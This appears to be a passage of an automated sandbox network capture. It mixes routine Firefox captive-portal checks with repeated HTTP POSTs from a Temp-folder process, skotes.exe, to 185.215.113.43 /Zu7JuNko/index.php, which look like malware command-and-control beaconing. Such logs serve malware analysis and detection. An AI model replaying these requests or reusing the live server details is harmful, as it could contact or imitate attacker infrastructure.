Nov 22, 2024 04:14:07.473781109 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74149 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:14:17.497215986 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:14:18.842995882 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:14:19.157131910 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74161 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:14:28.795146942 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:14:29.110008001 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74170 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:14:39.196300983 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:14:40.582524061 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:14:40.896547079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74182 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:14:50.985836983 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:01.586947918 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:11.795165062 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:22.019500017 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:15:22.088326931 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:22.334270954 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74224 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:15:32.496880054 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:42.799272060 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:53.099092960 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:16:03.285310984 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:16:30.795525074 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:16:31.204062939 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74293 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:16:43.584534883 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:16:43.898766994 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74305 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50113	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:52.901047945 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:13:54.357403040 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50121	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:56.087277889 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:57.429461956 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50129	34.107.221.82	80	7272	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:58.795020103 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50132	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:59.202231884 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:00.631865025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50135	34.107.221.82	80	7272	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:59.369185925 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:14:00.546387911 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71766 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:14:00.880131006 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:14:01.213023901 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71767 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:14:02.154922009 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:14:02.489533901 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71768 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:14:03.380290985 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:14:03.716428995 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71769 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:14:07.476773024 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:14:07.809662104 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71773 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:14:17.961570978 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:14:19.160450935 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:14:19.493942022 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71785 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:14:29.112680912 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:14:29.445539951 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71795 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:14:39.474097967 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:14:40.902323008 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:14:41.234770060 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71807 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:14:51.352166891 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:01.571521044 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:11.872137070 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:22.151519060 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:22.338535070 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:15:22.671024084 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71848 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:15:32.709278107 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:42.861934900 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:15:53.058096886 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:16:03.265167952 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 22, 2024 04:16:31.209611893 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:16:31.542690039 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71917 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 22, 2024 04:16:43.902245998 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:16:44.234981060 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 71930 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50161	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:02.463782072 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:03.838598013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50164	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:05.479646921 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:06.829514980 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50167	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:08.571279049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:09.969715118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50173	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:11.597604990 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:14:12.991154909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50174	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:14:14.719603062 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:14:16.050272942 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:14:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50176	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
